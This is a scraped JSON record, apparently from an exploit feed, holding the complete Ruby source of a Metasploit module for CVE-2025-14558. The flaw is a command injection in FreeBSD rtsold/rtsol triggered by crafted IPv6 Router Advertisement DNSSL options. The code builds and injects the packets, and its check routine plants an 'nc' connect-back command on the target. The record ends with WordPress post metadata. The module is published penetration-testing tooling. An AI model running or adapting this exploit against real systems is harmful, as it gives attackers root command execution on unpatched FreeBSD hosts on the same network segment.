{“lastseen”:”2026-02-13T19:28:03″,”description”:”This module exploits a command injection vulnerability CVE-2025-14558 in FreeBSD’s rtsol8 and rtsold8 programs. These programs do not validate the domain search list options provided in IPv6 Router Advertisement messages; the option body is passed to…”,”published”:”2026-02-13T18:59:15″,”modified”:”2026-02-13T18:59:15″,”type”:”metasploit”,”title”:”FreeBSD rtsold\/rtsol DNSSL Command Injection”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-FREEBSD-MISC-RTSOLD_DNSSL_CMDINJECT-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-14558″],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n\\n include Msf::Exploit::Capture\\n include Msf::Exploit::Remote::Ipv6\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘FreeBSD rtsold\/rtsol DNSSL Command Injection’,\\n ‘Description’ =\\u003e %q{\\n This module exploits a command injection vulnerability (CVE-2025-14558)\\n in FreeBSD’s rtsol(8) and rtsold(8) programs. These programs do not\\n validate the domain search list options provided in IPv6 Router\\n Advertisement messages; the option body is passed to resolvconf(8)\\n unmodified. resolvconf(8) is a shell script which does not validate\\n its input. A lack of quoting means that shell commands passed as input\\n to resolvconf(8) may be executed, enabling command injection via $()\\n substitution in the DNSSL domain name fields.\\n\\n This exploit requires Layer 2 adjacency to the target (same network\\n segment) and root privileges to send raw packets. Router advertisement\\n messages are not routable and should be dropped by routers, so the\\n attack does not cross network boundaries.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘Lukas Johannes M\u00f6ller’, # Metasploit module and PoC\\n ‘Kevin Day’ # Vulnerability discovery\\n ],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2025-14558’],\\n [‘URL’, ‘https:\/\/security.FreeBSD.org\/advisories\/FreeBSD-SA-25:12.rtsold.asc’],\\n [‘URL’, ‘https:\/\/github.com\/JohannesLks\/CVE-2025-14558’]\\n ],\\n ‘Platform’ =\\u003e [‘unix’],\\n ‘Arch’ =\\u003e ARCH_CMD,\\n ‘Privileged’ =\\u003e true,\\n ‘Targets’ =\\u003e [\\n [\\n ‘FreeBSD (all versions before 13.5-RELEASE-p8 \/ 14.3-RELEASE-p7 \/ 15.0-RELEASE-p1)’,\\n {}\\n ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DisclosureDate’ =\\u003e ‘2025-12-16’,\\n ‘DefaultOptions’ =\\u003e {\\n ‘PAYLOAD’ =\\u003e ‘cmd\/unix\/generic’\\n },\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION]\\n }\\n )\\n )\\n\\n register_options(\\n [\\n OptString.new(‘INTERFACE’, [true, ‘The network interface to use for sending RA packets’]),\\n OptInt.new(‘COUNT’, [true, ‘Number of RA packets to send’, 3]),\\n OptInt.new(‘DELAY’, [true, ‘Delay between packets in milliseconds’, 1000])\\n ]\\n )\\n\\n deregister_options(‘RHOSTS’, ‘FILTER’, ‘PCAPFILE’, ‘SNAPLEN’, ‘TIMEOUT’)\\n end\\n\\n def check\\n check_pcaprub_loaded\\n\\n # Use unspecified address to select default outbound interface\\n lhost = datastore[‘LHOST’] || Rex::Socket.source_address(‘0.0.0.0’)\\n lport = datastore[‘LPORT’] || rand(44444..45444)\\n service = nil\\n client = nil\\n\\n begin\\n service = Rex::Socket::TcpServer.create(\\n ‘LocalHost’ =\\u003e lhost,\\n ‘LocalPort’ =\\u003e lport,\\n ‘SSL’ =\\u003e false,\\n ‘Context’ =\\u003e {\\n ‘Msf’ =\\u003e framework,\\n ‘MsfExploit’ =\\u003e self\\n }\\n )\\n\\n vprint_status(\\”Started check listener on #{lhost}:#{lport}\\”)\\n\\n check_cmd = \\”nc -w 5 #{lhost} #{lport}\\”\\n vprint_status(\\”Sending RA packets with check payload: #{check_cmd}\\”)\\n\\n send_ra_packets(check_cmd)\\n\\n vprint_status(‘Waiting for connection…’)\\n\\n Timeout.timeout(10) do\\n client = service.accept\\n if client\\n vprint_good(\\”Connection received from #{client.peerhost}\\”)\\n return CheckCode::Vulnerable(‘Target connected back via encoded payload’)\\n end\\n end\\n rescue Timeout::Error\\n return CheckCode::Safe(‘No connection received within timeout’)\\n rescue RuntimeError =\\u003e e\\n return CheckCode::Unknown(\\”Pcaprub error: #{e}\\”)\\n rescue StandardError =\\u003e e\\n return CheckCode::Unknown(\\”Error during check: #{e.class} – #{e}\\”)\\n ensure\\n client.close if client\\n service.close if service\\n end\\n\\n CheckCode::Safe(‘The rtsold did not respond, target might not be vulnerable’)\\n end\\n\\n def send_ra_packets(cmd)\\n interface = datastore[‘INTERFACE’]\\n count = datastore[‘COUNT’]\\n delay_ms = datastore[‘DELAY’]\\n\\n begin\\n smac = get_mac(interface)\\n rescue StandardError =\\u003e e\\n fail_with(Failure::BadConfig, \\”Cannot get MAC address for interface #{interface}: #{e}\\”)\\n end\\n\\n begin\\n open_pcap(‘INTERFACE’ =\\u003e interface, ‘ARPCAP’ =\\u003e false)\\n rescue StandardError =\\u003e e\\n fail_with(Failure::BadConfig, \\”Cannot open pcap on interface #{interface}: #{e}\\”)\\n end\\n\\n begin\\n pkt = ipv6_build_ra_packet(smac, cmd, ipv6_link_address(‘INTERFACE’ =\\u003e interface))\\n count.times do |i|\\n inject(pkt.to_s)\\n Rex.sleep(delay_ms \/ 1000.0) if i \\u003c count – 1\\n end\\n ensure\\n close_pcap\\n end\\n end\\n\\n def exploit\\n check_pcaprub_loaded\\n\\n print_status(\\”Sending #{datastore[‘COUNT’]} Router Advertisement(s) with DNSSL payload…\\”)\\n send_ra_packets(payload.encoded)\\n print_good(‘Router Advertisement(s) sent successfully’)\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/freebsd\/misc\/rtsold_dnssl_cmdinject.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/freebsd\/misc\/rtsold_dnssl_cmdinject\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-13T19:28:03″,”description”:”This module exploits a command injection vulnerability CVE-2025-14558 in FreeBSD’s rtsol8 and rtsold8 programs. These programs do not validate the domain search list options provided…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-40808","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n